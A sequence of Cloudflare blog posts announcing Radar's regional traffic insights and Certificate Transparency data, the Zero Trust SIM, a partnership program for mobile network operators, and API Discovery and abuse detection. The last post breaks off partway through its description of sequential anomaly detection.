First, we’re adding regional traffic insights. Regional traffic insights bring a more localized perspective to the traffic trends shown on Radar.

Second, we’re adding detailed Certificate Transparency (CT) data, too. The new CT data builds on the work that Cloudflare has been doing around CT since 2018, including Merkle Town, our initial CT dashboard.

Both features extend Radar's mission of providing deeper, more granular visibility into the health and security of the Internet. Below, we dig into these new capabilities and data sets.

Cloudflare Radar initially launched with visibility into Internet traffic trends at a national level: want to see how that Internet shutdown impacted traffic in Iraq, or what IPv6 adoption looks like in India? It’s visible on Radar. Just a year and a half later, in March 2022, we launched Autonomous System (ASN) pages on Radar. This has enabled us to bring more granular visibility to many of our metrics: What’s network performance like on AS701 (Verizon Fios)? How thoroughly has AS812 (Rogers Communications) implemented routing security? Did AS58322 (Halasat) just go offline? It’s all visible on Radar.

However, sometimes Internet usage shifts on a more local level — maybe a sporting event in a particular region drives people online to find out more information. Or maybe a storm or other natural disaster causes infrastructure damage and power outages in a given state, impacting Internet traffic.

For the last few years, the Radar team relied on internal data sets and Jupyter notebooks to visualize these “sub-national” traffic shifts. But today, we are bringing that insight to Cloudflare Radar, and to you, with the launch of regional traffic insights. With this new capability, you’ll be able to see traffic trends at a more local level, including bytes and requests, as well as breakouts of desktop/mobile device and bot/human traffic shares. And for even more granular visibility, within the Data Explorer, you’ll also be able to select an autonomous system to join with the regional selection — for example, looking at AS7922 (Comcast) in Massachusetts (United States).

In line with common industry practice, the region names displayed on Radar are sourced in data from GeoNames (geonames.org), a crowdsourced geographical database. Specifically, we are using the “first-order administrative divisions” listed for each country — for example, the states of America, the departments of Honduras, or the provinces of Canada. Those geographical names reflect data provided by GeoNames; for more information, please refer to their About page.

Requests logged by Cloudflare’s services include the IP address of the device making the request. The address range (“prefix”) that includes this address is associated with a GeoNames ID within our IP address geolocation data, and we then match that GeoNames ID with the associated country and “first order administrative division” found in the GeoNames dataset. (For example: 155.246.1.142 → 155.246.0.0/16 → GeoNames ID 5101760 → United States > New Jersey) 

Within Cloudflare Radar, there are several ways to get to this regional data. If you know the name of the region of interest, you can type it into the search bar at the top of the page, and select it from the results. For example, beginning to type Massachusetts returns the U.S. state, linked to its regional traffic page. Typing the region name into the Traffic in dropdown at the top of a Traffic page will also return the same set of results.

Radar’s country-level pages now have a new Traffic characteristics by region card that includes both summary and time series views of regional traffic. The summary view is presented as a map and table, similar to the Traffic characteristics card in the Worldwide traffic view. After selecting a metric from the dropdown at the top right of the card, the table and map are updated to reflect the relevant summary values for the chosen time period. Within the paginated table, the region names are linked, and clicking one will take you to the relevant page. Within the map, the summary values are represented by circles placed in the centroid of each region, sized in relation to their value. Clicking a circle will take you to the relevant page.

Below the summary map and table, the card also includes a time series graph of traffic at a regional level for the top five highest traffic regions within the country. These graphs can reveal interesting regional differences in traffic patterns. For example, the Traffic volume by region in Iraq graph for HTTP request traffic shown below highlights the differing Internet shutdown schedules (Kurdistan Region, central and southern Iraq) across the different governorates. On days when the schedules do not overlap, such as September 2 and 7, traffic from the Erbil and Sulaymaniyah governorates, which are located in the Kurdistan Region, does not drop concurrent with the loss in traffic observed in Baghdad and Basra.

Over the past several years, a number of Radar blog posts have explored how human activity impacts Internet traffic, including holiday celebrations, elections, and the Paris 2024 Summer Olympics. With the new regional views, this impact now becomes even clearer at a more local level. For instance, mobile devices account for, on average, just over half of the request traffic seen from Nairobi Country in Kenya. A clear diurnal pattern is seen on weekdays, where mobile device usage drops during workday hours, and then rises again in the evening. However, during the weekends, mobile traffic remains elevated, presumably due to fewer people using desktop computers in office environments, as well as fewer desktop computers in use at home, in line with Kenya’s mobile-first culture.

Similar to how the mobile vs. desktop view exposes shifts in human activity, bot vs. human traffic insights do as well. One interpretation of the graph below is that overnight bot activity from Lisbon increased significantly during the first few days of September. However, since the graph shows traffic shares, and given the timing of the apparent increases, the more likely cause is increasingly larger drops in human-driven traffic – users in Lisbon appear to begin logging off around 23:00 UTC (midnight local time), and start getting back online around 05:00 UTC (06:00 local time). The shares and shifts will obviously vary by country and region, but they can provide a perspective on the nocturnal habits of users in a region.

Within the Data Explorer, you can use the breakdown options and filters to customize your analysis of regional traffic data.

At a country level, choosing to breakdown by regions generates a stacked area graph that shows the relative traffic shares of the top 20 regions in the selected country, along with a bar graph showing summary share values. For example, the graph below shows that in aggregate, Virginia and California are responsible for just over a quarter of the HTTP request volume in the United States.

You can also use Data Explorer to drill down on traffic at a network (ASN) level in a given region, in both summary and timeseries views. For example, looking at HTTP request traffic for Massachusetts by ASN, we can see that AS7922 (Comcast), accounts for a third, followed by AS701 (Verizon Fios, 15%), AS21928 (T-Mobile, 8.8%), AS6167 (Verizon Wireless, 5.1%), AS7018 (AT&T, 4.7%), and AS20115 (Charter/Spectrum, 4.5%). Over 70% of the request traffic is concentrated in these six providers, with nearly half of that from one provider.

Going a level deeper, you can also look at traffic trends over time for an ASN within a given region, and even compare it with another time period. The graph below shows traffic for AS7922 (Comcast) in Massachusetts over a seven-day period, compared with the prior week. While the traffic volumes on most days were largely in line with the previous week, Saturday and Sunday were noticeably higher. These differences may reflect a shift in human activity, as September 6 & 7 were quite rainy in Massachusetts, so people may have spent more time indoors and online. (The prior weekend was Labor Day weekend, but those Saturday and Sunday traffic levels were in line with the preceding weekend.) You can also add another ASN to the traffic trends comparison. Selecting Massachusetts (Location) and AS701 (ASN) (Verizon Fios) in the Compare section finds that traffic on that network was higher on Saturday and Sunday as well, lending credence to the rainy weekend theory.

Regional comparisons, whether within the same country or across different countries, are also possible in Data Explorer. For instance, if the Kansas City Chiefs and Philadelphia Eagles were to meet yet again in the Super Bowl, the configuration below could be used to compare traffic patterns in the teams’ respective home states, as well as comparing the trends with the previous week, showing how human activity impacted it over the course of the game.

As always, the data powering the visualizations described above are also available through the Radar API. The timeseries_groups and summary methods for the NetFlows and HTTP endpoints now have an ADM1 dimension, allowing traffic to be broken down by first-order administrative divisions. In addition, the new geoId filter for the NetFlows and HTTP endpoints allows you to filter the results by a specific geolocation, using its GeoNames ID. And finally, there are new get and list endpoints for fetching geolocation details.

As you’d expect, the more traffic we see from a given geography, the better the “signal”, and the clearer the associated graph is — this is generally the case when traffic is aggregated at a country level. However, for some smaller or less populous regions, especially in developing countries or countries with poor Internet connectivity, lower traffic will likely cause the signal to be weaker, resulting in graphs that appear spiky or incomplete. (Note that this will also be true for region+ASN views.) An illustrative example is shown below, for Northern Darfur State in Sudan. Traffic is observed somewhat inconsistently, resulting in the spikes seen in the graph. Similarly, the “Previous 7 days” line is largely incomplete, indicating a lack of traffic data for that period. In these cases, it will be hard to draw definitive conclusions from such graphs.

Although the Internet arguably transcends geographical boundaries, the reality is that usage patterns can vary by location, with traffic trends that reflect more localized human activity. The new regional insights on Cloudflare Radar traffic pages, and in the Data Explorer, provide a perspective at a sub-national level. We are exploring the potential to go a level deeper in the future, providing traffic data for “second-order administrative divisions” (such as counties, cities, etc.).

If you share our regional traffic graphs on social media, be sure to tag us: @CloudflareRadar (X), noc.social/@cloudflareradar (Mastodon), and radar.cloudflare.com (Bluesky). If you have questions or comments, you can reach out to us on social media, or contact us via email.

Just as we're bringing more granular detail to traffic patterns, we're also shedding more light on the very foundation of trust on the Internet: TLS certificates. Certificate Authorities (CAs) serve as trusted gatekeepers for the Internet: any website that wants to prove its identity to clients must present a certificate issued by a CA that the client trusts. But how do we know that CAs themselves are trustworthy and only issue certificates they are authorized to issue?

That’s where Certificate Transparency (CT) comes in. Clients that enforce CT (most major browsers) will only trust a website certificate if it is both signed by a trusted CA and has proof that the certificate has been added to a public, append-only CT log, so that it can be publicly audited. Only recently, CT played a key role in detecting the unauthorized issuance of certificates for 1.1.1.1, a public DNS resolver service that Cloudflare operates.

In addition to its role as a vital safety mechanism for the Internet, CT has proven to be invaluable in other ways, as it provides publicly-accessible lists of all website certificates used on the Internet. This dataset is a treasure trove of intelligence for researchers measuring the Internet, security teams detecting malicious activity like phishing campaigns, or penetration testers mapping a target’s external attack surface.

The sheer amount of data (multiple terabytes) available in CT makes it difficult for regular Internet users to download and explore themselves. Instead, services like crt.sh, Censys, and Merklemap provide easy search interfaces to allow discoverability for specific domain names and certificates. We launched Merkle Town in 2018 to share broad insights into the CT ecosystem using data from our own CT monitoring service.

Certificate Transparency on Cloudflare Radar is the next evolution of Merkle Town, providing integration with security and domain information already on Radar and more interactive ways to explore and analyze CT data. (For long-time Merkle Town users, we’re keeping it around until we’ve reached full feature parity.)

In the sections below, we’ll walk you through the features available in the new dashboard.

The CT page leads with a view of how many certificates are being issued and logged over time. Because the same certificate can appear multiple times within a single log or be submitted to several logs, the total count can be inflated. To address this, two distinct lines are shown: one for total entries and another for unique entries. Uniqueness, however, is calculated only within the selected time range — for example, if certificate C is added to log A in one period and to log B in another, it will appear in the unique count for both periods. It is also important to note that the CT charts and date filters use the log timestamp, which is the time a certificate was added to a CT log. Additionally, the data displayed on the page was collected from the logs monitored by Cloudflare — delays, backlogs, or other inconsistencies may exist, so please report any issues or discrepancies.

Alongside this chart is a comparison between certificates and pre-certificates. A pre-certificate is a special type of certificate used in CT that allows a CA to publicly log a certificate before it is officially issued. CAs are not required to log full certificates if corresponding pre-certificates have already been logged (although many CAs do anyway), so typically there are more pre-certificates logged than full certificates, as seen in the chart.

While certificate issuance trends are interesting on their own, analyzing the characteristics of issued certificates provides deeper insight into the state of the web’s trust infrastructure. Starting with the public key algorithm, which defines how secure connections are established between clients and servers, we found that more than 65% of certificates still use RSA, while the remainder use ECDSA. RSA remains dominant due to its long-standing compatibility with a wide range of clients, while ECDSA is increasingly adopted for its efficiency and smaller key sizes, which can improve performance and reduce computational overhead. In the coming years, we expect post-quantum signature algorithms like ML-DSA to appear when public CAs begin to offer support.

Next, a breakdown of certificates by signature algorithm reveals how Certificate Authorities (CAs) sign the certificates they issue. Most certificates (over 65%) use RSA with SHA-256, followed by ECDSA with SHA-384 at 19%, ECDSA with SHA-256 at 12%, and a small fraction using other algorithms. The choice of signature algorithm reflects a balance between widespread support, security, and performance, with stronger algorithms like ECDSA gradually gaining traction for modern deployments.

Certificates are also categorized by validation level, which reflects the degree to which the CA has verified the identity of the certificate requester. The main validation types are Domain Validation (DV), Organization Validation (OV), and Extended Validation (EV). DV certificates verify only control of the domain, OV certificates verify both domain control and the organization behind it, and EV certificates involve more rigorous checks and display additional identity information in browsers. The industry trend is toward simpler, automated issuance, with DV certificates now making up almost 98% of issued certificates, while EV issuance has become largely obsolete.

Finally, the chart on certificate duration shows the difference between the NotBefore and NotAfter dates embedded in each certificate, which define the period during which the certificate is valid. Currently, the majority (92%) of issued certificates have durations between 47 and 100 days. Shorter certificate lifetimes improve security by limiting exposure if a certificate is compromised, and the industry is moving toward even shorter durations, driven by browser policies and automated renewal systems.

Certificate issuance is the process by which CAs generate certificates for domain owners. Many CAs are operated by larger organizations that manage multiple subordinate CAs under a single corporate umbrella. The CT page highlights the distribution of certificate issuance across the top CA owners. At the moment, the Internet Security Research Group (ISRG), also known as Let’s Encrypt, issues more than 66% of all certificates, followed by other widely used CA owners including Google Trust Services, Sectigo, and GoDaddy.

The impact of events like the July 21-22 Let’s Encrypt API outage due to internal DNS failures that significantly reduced certificate issuance rates are visible in this visualization, as issuance rates dropped significantly during the two-day period.

In addition to CA owners, the page provides a breakdown of certificate issuance by individual CA certificates. Among the top five CAs, Let’s Encrypt’s four intermediate CAs — R12, R13, E7, and E8 — represent the bulk of its issuance. The bar chart can also be filtered by CA owner to display only the certificates associated with a specified organization.

The CT section also offers dedicated CA-specific pages. By searching for a CA name or fingerprint in the top search bar, you can reach a page showing all insights and trends available on the main CT page, filtered by the selected CA. The page also includes an additional CA information card, which provides details such as the CA’s owner, revocation status, parent certificate, validity period, country, inclusion in public root stores, and a list of all CAs operated by the same owner. All of this information is derived from the Common CA Database (CCADB).

Next on the CT page is a section focused on CT logs. This section shows the distribution of certificates across CT log operators, identifying the organizations that manage the infrastructure behind the logs. Over the last three months, Sectigo operated the logs containing the largest number of certificates (2.8 billion), followed by Google (2.5 billion), Cloudflare (1.6 billion), and Let’s Encrypt (1.4 billion). Note that the same certificate can be logged multiple times across CT logs, so organizations that operate multiple CT logs with overlapping acceptance criteria may log certificates at an elevated rate. As such, the relative rank of the operators in this graph should not be construed as a measure of how load-bearing the logs are within the ecosystem.

Below this, a bar chart displays the distribution of certificates across individual CT logs. Among the top five logs are Google’s xenon2025h1 and argon2025h2, Cloudflare’s nimbus2025, and Let’s Encrypt’s oak2025h2. This chart can also be filtered by operator to show only the logs associated with a specific owner. Next to the chart, another view shows the distribution of certificates by log API, distinguishing between logs following the original RFC 6962 API versus those compatible with the newer and more efficient static CT API.

Similar to the dedicated CA pages, the CT section also provides log-specific pages. By searching for a log name in the top search bar, you can access a page showing all insights and trends available on the main CT page, filtered by the selected log. Two additional cards are included: one showing information about the log, derived from Google Chrome’s log list, including details such as the operator, API type, documentation, and a list of other logs operated by the same organization; and another displaying performance metrics with two radar charts tracking uptime and response time over the past 90 days, as observed by Cloudflare’s CT monitor. These metrics are useful to determine if logs are meeting the ongoing requirements for inclusion in CT programs like Google's.

Last but not least, the CT page includes a section on certificate coverage. Certificates can cover multiple top-level domains (TLDs), include wildcard entries, and support IP addresses in Subject Alternative Names (SANs).

The distribution of pre-certificates across the top 10 TLDs highlights the domains most commonly covered. .com leads with 45% of certificates, followed by other popular TLDs such as .dev and .net.

Next to this view, two half-donut charts provide further insights into certificate coverage: one shows the share of certificates that include wildcard entries — almost 25% of certificates use wildcards to cover multiple subdomains — while the other shows certificates that include IP addresses, revealing that the vast majority of certificates do not contain IPs in their SAN fields

The domain information page has also been updated to provide richer details about certificates. The certificates table, which displays certificates recorded in active CT logs for the specified domain, now includes expandable rows. Expanding a row reveals further information, including the certificate’s SHA-256 fingerprint, subject and issuer details — Common Name (CN), Organization (O), and Country (C) — the validity period (NotBefore and NotAfter), and the CT log where the certificate was found.

While the charts above highlight key insights in the CT ecosystem, all underlying data is accessible via the API and can be explored interactively across time periods, CAs, logs, and additional filters and dimensions using Radar’s Data Explorer. And as always, Radar charts and graphs can be downloaded for sharing or embedded directly into blogs, websites, and dashboards for further analysis. Don’t hesitate to reach out to us with feedback, suggestions, and feature requests — we’re already working through a list of early feedback from the CT community!

The humble cell phone is now a critical tool in the modern workplace; even more so as the modern workplace has shifted out of the office. Given the billions of mobile devices on the planet — they now outnumber PCs by an order of magnitude — it should come as no surprise that they have become the threat vector of choice for those attempting to break through corporate defenses.

The problem you face in defending against such attacks is that for most Zero Trust solutions, mobile is often a second-class citizen. Those solutions are typically hard to install and manage. And they only work at the software layer, such as with WARP, the mobile (and desktop) apps that connect devices directly into our Zero Trust network. And all this is before you add in the further complication of Bring Your Own Device (BYOD) that more employees are using — you’re trying to deploy Zero Trust on a device that doesn’t belong to the company.

It’s a tricky — and increasingly critical — problem to solve. But it’s also a problem which we think we can help with.

What if employers could offer their employees a deal: we'll cover your monthly data costs if you agree to let us direct your work-related traffic through a network that has Zero Trust protections built right in? And what’s more, we’ll make it super easy to install — in fact, to take advantage of it, all you need to do is scan a QR code — which can be embedded in an employee's onboarding material — from your phone's camera.

Well, we’d like to introduce you to the Cloudflare SIM: the world’s first Zero Trust SIM.

In true Cloudflare fashion, we think that combining the software layer and the network layer enables better security, performance, and reliability. By targeting a foundational piece of technology that underpins every mobile device — the (not so) humble SIM card — we’re aiming to bring an unprecedented level of security (and performance) to the mobile world.

When we say that mobile is the new threat vector, we’re not talking in the abstract. Last month, Cloudflare was one of 130 companies that were targeted by a sophisticated phishing attack. Mobile was the cornerstone of the attack — employees were initially reached by SMS, and the attack relied heavily on compromising 2FA codes.

So far as we’re aware, we were the only company to not be compromised.

A big part of that was because we’re continuously pushing multi-layered Zero Trust defenses. Given how foundational mobile is to how companies operate today, we’ve been working hard to further shore up Zero Trust defenses in this sphere. And this is how we think about Zero Trust SIM: another layer of defense at a different level of the stack, making life even harder for those who are trying to penetrate your organization. With the Zero Trust SIM, you get the benefits of:

• Preventing employees from visiting phishing and malware sites: DNS requests leaving the device can automatically and implicitly use Cloudflare Gateway for DNS filtering.

• Mitigating common SIM attacks: an eSIM-first approach allows us to prevent SIM-swapping or cloning attacks, and by locking SIMs to individual employee devices, bring the same protections to physical SIMs.

• Enabling secure, identity-based private connectivity to cloud services, on-premise infrastructure and even other devices (think: fleets of IoT devices) via Magic WAN. Each SIM can be strongly tied to a specific employee, and treated as an identity signal in conjunction with other device posture signals already supported by WARP.

By integrating Cloudflare’s security capabilities at the SIM-level, teams can better secure their fleets of mobile devices, especially in a world where BYOD is the norm and no longer the exception.

Beyond all the security benefits that we get for mobile devices, the Zero Trust SIM transforms mobile into another on-ramp pillar into the Cloudflare One platform.

Cloudflare One presents a single, unified control plane: allowing organizations to apply security controls across all the traffic coming to, and leaving from, their networks, devices and infrastructure. It’s the same with logging: you want one place to get your logs, and one location for all of your security analysis. With the Cloudflare SIM, mobile is now treated as just one more way that traffic gets passed around your corporate network.

Working at the on-ramp rather than the software level has another big benefit — it grants the flexibility to allow devices to reach services not on the Internet, including cloud infrastructure, data centers and branch offices connected into Magic WAN, our Network-as-a-Service platform. In fact, under the covers, we’re using the same software networking foundations that our customers use to build out the connectivity layer behind the Zero Trust SIM. This will also allow us to support new capabilities like Geneve, a new network tunneling protocol, further expanding how customers can connect their infrastructure into Cloudflare One.

We’re following efforts like IoT SAFE (and parallel, non-IoT standards) that enable SIM cards to be used as a root-of-trust, which will enable a stronger association between the Zero Trust SIM, employee identity, and the potential to act as a trusted hardware token.

Of course, every Zero Trust solutions provider promises protection for mobile. But especially in the case of BYOD, getting employees up and running can be tough. To get a device onboarded, there is a deep tour of the Settings app of your phone: accepting profiles, trusting certificates, and (in most cases) a requirement for a mature mobile device management (MDM) solution.

It’s a pain to install.

Now, we’re not advocating the elimination of the client software on the phone any more than we would be on the PC. More layers of defense is always better than fewer. And it remains necessary to secure Wi-Fi connections that are established on the phone. But a big advantage is that the Cloudflare SIM gets employees protected behind Cloudflare’s Zero Trust platform immediately for all mobile traffic.

It’s not just the on-device installation we wanted to simplify, however. It’s companies' IT supply chains, as well.

One of the traditional challenges with SIM cards is that they have been, until recently, a physical card. A card that you have to mail to employees (a supply chain risk in modern times), that can be lost, stolen, and that can still fail. With a distributed workforce, all of this is made even harder. We know that whilst security is critical, security that is hard to deploy tends to be deployed haphazardly, ad-hoc, and often, not at all.

But in recent years, nearly every modern phone shipped today has an eSIM — or more precisely, an eUICC (Embedded Universal Integrated Circuit Card) — that can be re-programmed dynamically. This is a huge advancement, for two major reasons:

1. You avoid all the logistical issues of a physical SIM (mailing them; supply chain risk; getting users to install them!)

2. You can deploy them automatically, either via QR codes, Mobile Device Management (MDM) features built into mobile devices today, or via an app (for example, our WARP mobile app).

We’re also exploring introducing physical SIMs (just like the ones above): although we believe eSIMs are the future, especially given their deployment & security advantages, we understand that the future is not always evenly distributed. We’ll be working to make sure that the physical SIMs we ship are as secure as possible, and we’ll be sharing more of how this works in the coming months.

Of course, more and more of the devices that employees use for work are their own. And while employers want to make sure their corporate resources are secure, employees also have privacy concerns when work and private life are blended on the same device. You don’t want your boss knowing that you’re swiping on Tinder.

We want to be thoughtful about how we approach this, from the perspective of both sides. We have sophisticated logging set up as part of Cloudflare One, and this will extend to Cloudflare SIM. Today, Cloudflare One can be explicitly configured to log only the resources it blocks — the threats it’s protecting employees from — without logging every domain visited beyond that. We’re working to make this as obvious and transparent as possible to both employers and employees so that, in true Cloudflare fashion, security does not have to compromise privacy.

Like any product at Cloudflare, we’re testing this on ourselves first (or “dogfooding”, to those in the know). Given the services we provide for over 30% of the Fortune 1000, we continue to observe, and be the target of, increasingly sophisticated cybersecurity attacks. We believe that running the service first is an important step in ensuring we make the Zero Trust SIM both secure and as easy to deploy and manage across thousands of employees as possible.

We’re also bringing the Zero Trust SIM to the Internet of Things: almost every vehicle shipped today has an expectation of cellular connectivity; an increasing number of payment terminals have a SIM card; and a growing number of industrial devices across manufacturing and logistics. IoT device security is under increasing levels of scrutiny, and ensuring that the only way a device can connect is a secure one — protected by Cloudflare’s Zero Trust capabilities — can directly prevent devices from becoming part of the next big DDoS botnet.

We'll be rolling the Zero Trust SIM out to customers on a regional basis as we build our regional connectivity across the globe (if you’re an operator: reach out). We’d especially love to talk to organizations who don’t have an existing mobile device solution in place at all, or who are struggling to make things work today. If you're interested, then sign up here.

At Cloudflare, we’re excited about the quickly-approaching 5G future. Increasingly, we’ll have access to high throughput and low-latency wireless networks wherever we are. It will make the Internet feel instantaneous, and we’ll find new uses for this connectivity such as sensors that will help us be more productive and energy-efficient. However, this type of connectivity doesn’t have to come at the expense of security, a concern raised in this recent Wired article. Today we’re announcing the creation of a new partnership program for mobile networks—Zero Trust for Mobile Operators—to jointly solve the biggest security and performance challenges.

Every network is different, and the key to managing the complicated security environment of an enterprise network is having lots of tools in the toolbox. Most of these functions fall under the industry buzzword SASE, which stands for Secure Access Service Edge. Cloudflare’s SASE product is Cloudflare One, and it’s a comprehensive platform for network operators.  It includes:

• Magic WAN, which offers secure Network-as-a-Service (NaaS) connectivity for your data centers, branch offices and cloud VPCs and integrates with your legacy MPLS networks

• Cloudflare Access, which is a Zero Trust Network Access (ZTNA) service requiring strict verification for every user and every device before authorizing them to access internal resources.

• Gateway, our Secure Web Gateway, which operates between a corporate network and the Internet to enforce security policies and protect company data.

• A Cloud Access Security Broker, which monitors the network and external cloud services for security threats.

• Cloudflare Area 1, an email threat detection tool to scan email for phishing, malware, and other threats.

We’re excited to partner with mobile network operators for these services because our networks and services are tremendously complementary. Let’s first think about SD-WAN (Software-Defined Wide Area Network) connectivity, which is the foundation on which much of the SASE framework rests. As an example, imagine a developer working from home developing a solution with a Mobile Network Operator’s (MNO) Internet of Things APIs. Maybe they’re developing tracking software for the number of drinks left in a soda machine, or want to track the routes for delivery trucks.

The developer at home and their fleet of devices should be on the same wide area network, securely, and at reasonable cost. What Cloudflare provides is the programmable software layer that enables this secure connectivity. The developer and the developer’s employer still need to have connectivity to the Internet at home, and for the fleet of devices. The ability to make a secure connection to your fleet of devices doesn’t do any good without enterprise connectivity, and the enterprise connectivity is only more valuable with the secure connection running on top of it. They’re the perfect match.

Once the connectivity is established, we can layer on a Zero Trust platform to ensure every user can only access a resource to which they’ve been explicitly granted permission. Any time a user wants to access a protected resource – via ssh, to a cloud service, etc. – they’re challenged to authenticate with their single-sign-on credentials before being allowed access. The networks we use are growing and becoming more distributed. A Zero Trust architecture enables that growth while protecting against known risks.

Given the potential of low-latency 5G networks, consumers and operators are both waiting for a “killer 5G app”. Maybe it will be autonomous vehicles and virtual reality, but our bet is on a quieter revolution: moving compute – the “work” that a server needs to do to respond to a request – from big regional data centers to small city-level data centers, embedding the compute capacity inside wireless networks, and eventually even to the base of cell towers.

Cloudflare’s edge compute platform is called Workers, and it does exactly this – execute code at the edge. It’s designed to be simple. When a developer is building an API to support their product or service, they don’t want to worry about regions and availability zones. With Workers, a developer writes code they want executed at the edge, deploys it, and within seconds it’s running at every Cloudflare data center globally.

Some workloads we already see, and expect to see more of, include:

• IoT (Internet of Things) companies implementing complex device logic and security features directly at the edge, letting them add cutting-edge capabilities without adding cost or latency to their devices.

• eCommerce platforms storing and caching customized assets close to their visitors for improved customer experience and great conversion rates.

• Financial data platforms, including new Web3 players, providing near real-time information and transactions to their users.

• A/B testing and experimentation run at the edge without adding latency or introducing dependencies on the client-side.

• Fitness-type devices tracking a user’s movement and health statistics can offload compute-heavy workloads while maintaining great speed/latency.

• Retail applications providing fast service and a customized experience for each customer without an expensive on-prem solution.

The Cloudflare Case Studies section has additional examples from NCR, Edgemesh, BlockFi, and others on how they’re using the Workers platform. While these examples are exciting, we’re most excited about providing the platform for new innovation.

You may have seen last week we announced Workers for Platforms is now in General Availability. Workers for Platforms is an umbrella-like structure that allows a parent organization to enable Workers for their own customers. As an MNO, your focus is on providing the means for devices to send communication to clients. For IoT use cases, sending data is the first step, but the exciting potential of this connectivity is the applications it enables. With Workers for Platforms, MNOs can expose an embedded product that allows customers to access compute power at the edge.

The complementary networks between mobile networks and Cloudflare is another area of opportunity. When a user is interacting with the Internet, one of the most important factors for the speed of their connection is the physical distance from their handset to the content and services they’re trying to access. If the data request from a user in Denver needs to wind its way to one of the major Internet hubs in Dallas, San Jose, or Chicago (and then all the way back!), that is going to be slow. But if the MNO can link to the service locally in Denver, the connection will be much faster.

One of the exciting developments with new 5G networks is the ability of MNOs to do more “local breakout”. Many MNOs are moving towards cloud-native and distributed radio access networks (RANs) which provides more flexibility to move and multiply packet cores. These packet cores are the heart of a mobile network and all of a subscriber’s data flows through one.

For Cloudflare – with a data center presence in 275+ cities globally – a user never has to wait long for our services. We can also take it a step further. In some cases, our services are embedded within the MNO or ISP’s own network. The traffic which connects a user to a device, authorizes the connection, and securely transmits data is all within the network boundary of the MNO – it never needs to touch the public Internet, incur added latency, or otherwise compromise the performance for your subscribers.

We’re excited to partner with mobile networks because our security services work best when our customers have excellent enterprise connectivity underneath. Likewise, we think mobile networks can offer more value to their customers with our security software added on top. If you’d like to talk about how to integrate Cloudflare One into your offerings, please email us at mobile-operator-program@cloudflare.com, and we’ll be in touch!

APIs are incredibly important. Throughout the 2000s, they formed the backbone of popular web services, helping the Internet become more useful and accessible. In the 2010s, APIs played a larger role in our lives, allowing personal devices to communicate with the digital world. Many of our daily activities, like using rideshare services and paying for lattes, are dependent on this form of modern communication. Now we are approaching a post-pandemic world in which APIs will be more important than ever.

Unfortunately, as any technology grows, so does its surface area for abuse. APIs are no exception. Competing rideshare services might monitor each other’s prices via API, spawning a price war and a waste of digital resources. Or a coffee drinker might manipulate an API for a latte discount. Some companies have thousands of APIs — including ones that they don’t even know about. Cloudflare can help solve these problems.

Today, we are announcing early access to API Discovery and API Abuse Detection.

Before going further, it’s important to explain why we need a solution for APIs. Traditional security tools, including Rate Limiting and DDoS Protection, can be wonderfully useful. But these approaches were not built to act alone. We might rate limit a particular API endpoint, but how would we choose a proper threshold? It would be difficult to do this at scale without causing problems. An API might be hit by a distributed attack (falling below the threshold), or it might see an increase in legitimate traffic (exceeding the threshold).

Others have suggested deploying Bot Management on API endpoints. In many cases, this is effective and adds some degree of protection, particularly if the API is meant to be used by browsers (as part of a web application). But Bot Management was designed to find bad actors among humans. These actors typically use automation, while humans typically use browsers, so the distinction is somewhat clear. But APIs present a different problem. APIs are automated, so any solution must find bad bots among other bots. We must distinguish between good and bad automated traffic.

To solve the API problem, we had to develop a measure of intent — almost like interviewing each request to determine its aims. We must answer the following questions purely based on circumstantial data:

• Is this request using an API for its intended purpose?

• Is this request exhibiting suspicious behavior? Why?

Again, while tools like Rate Limiting can handle binary problems (e.g., “has this IP exceeded 200 requests?”), the API problem demands a more subjective arbiter. It requires us to examine the purpose of an API and define reasonable constraints based on what we find. It also requires us to find a new source of ground truth. When we built Bot Management, we could confirm requests were human or automated by issuing challenges. APIs involve automated services which cannot prove their legitimacy by solving a challenge.

After months of sorting through this problem, we’re excited to give a first look at our solution. It comes in a few parts…

Some of our users tell us they can’t keep track of their APIs. Before we even try to protect these endpoints, we need to map them out and understand the attack surface area. We call this “API Discovery.”

The discovery process starts with simplification. Large websites may have thousands of APIs, but a lot of the calls look similar. Consider the following two paths:

• api.example.com/login/237

• api.example.com/login/415

In this example, “237” and “415” are customer identifiers. Both paths serve the same purpose — they allow users to log into their accounts — but they are not identical. So we map out the paths and immediately collapse them into the following:

• api.example.com/login/*

• api.example.com/login/*

Notice how we removed the customer identifiers. Our systems can detect the changing parts of an API, allowing us to recognize both paths as the same one. We do this by recording the cardinality of each endpoint. For example, we might have originally found that there were 700 different strings observed in place of the asterisk. “237” and “415” were just two of those possibilities. We then used unsupervised learning to choose a threshold (in this case, let’s say 30). Since we’ve noticed far more than 30 variants of this path, we recognize the customer identifier as a variable and collapse the path. This process is called “path normalization.”

API Discovery is a building block for many security products to come. But at its core, the technology is about producing a simple, trustworthy map of APIs. Here is a small sample of what you might find:

login/<customer_identifier>
auth
account/<customer_identifier>
password_reset
logout

Imagine this list scaled to hundreds, if not thousands of endpoints. Some will be obvious (hopefully login endpoints are expected!), but others could be a surprise. The final map will help identify variables or tokens referenced by each endpoint.

Now that we have discovered APIs, we can begin to look for abuse. Our first approach handles volumetric anomalies. In other words, we make an educated guess about how often each path is reached and set some threshold to manage abuse. This is a form of adaptive rate limiting.

Consider the API path /update-score for a sports website. You can probably guess what this does — it routinely fetches the latest score for a game, which might happen multiple times per second. We might deploy unsupervised learning and set a high threshold for normal use. Perhaps 150 requests per minute for a specific IP, user agent, or other session identifier.

But that same sports website could require its users to have accounts. In this case, a separate /reset-password API could exist on the same domain. No sports fan would reset their password as much as they check scores, so this path would likely have a lower threshold. The beauty of unsupervised learning (and our form of abuse detection) is that we map out your site, develop separate baselines for each API, and try to predict the intent of requests as they are made. If we see 150 sudden attempts to reset a password, our systems immediately suspect an account takeover.

It’s also important to understand why traffic shifts when it does. For example, we shouldn’t block sports traffic when it surges due to the NBA Finals. Although the /update-score endpoint might temporarily see more use, Cloudflare would recognize the greater context and change any relevant thresholds. We only want to mitigate when an individual is abusing an endpoint.

Our team often applies the Swiss Cheese Model to security. This approach has been used in healthcare, physical security, and many other industries, but the idea is simple. Any layer of defense will have a few holes — but stacking unique defenses (or slices of cheese) next to each other improves overall safety.

In the world of Internet security, we call this “defense in depth.” APIs are first protected by Cloudflare’s security suite (DDoS, etc.). The second layer uses volumetric detection (described above). But the third layer is completely different from anything we have done before: it is sequential anomaly detection. We expect this to dramatically change the API landscape.

Here’s how it works. As usual, we start by running path normalization to find a finite set of states. In one test, this process reduced about 10,000 states to just 60, massively simplifying the API problem. Then we use Markov Chains to build a transition matrix, which is a map of all the states and where they commonly lead. We finish by assigning probabilities to each transition.

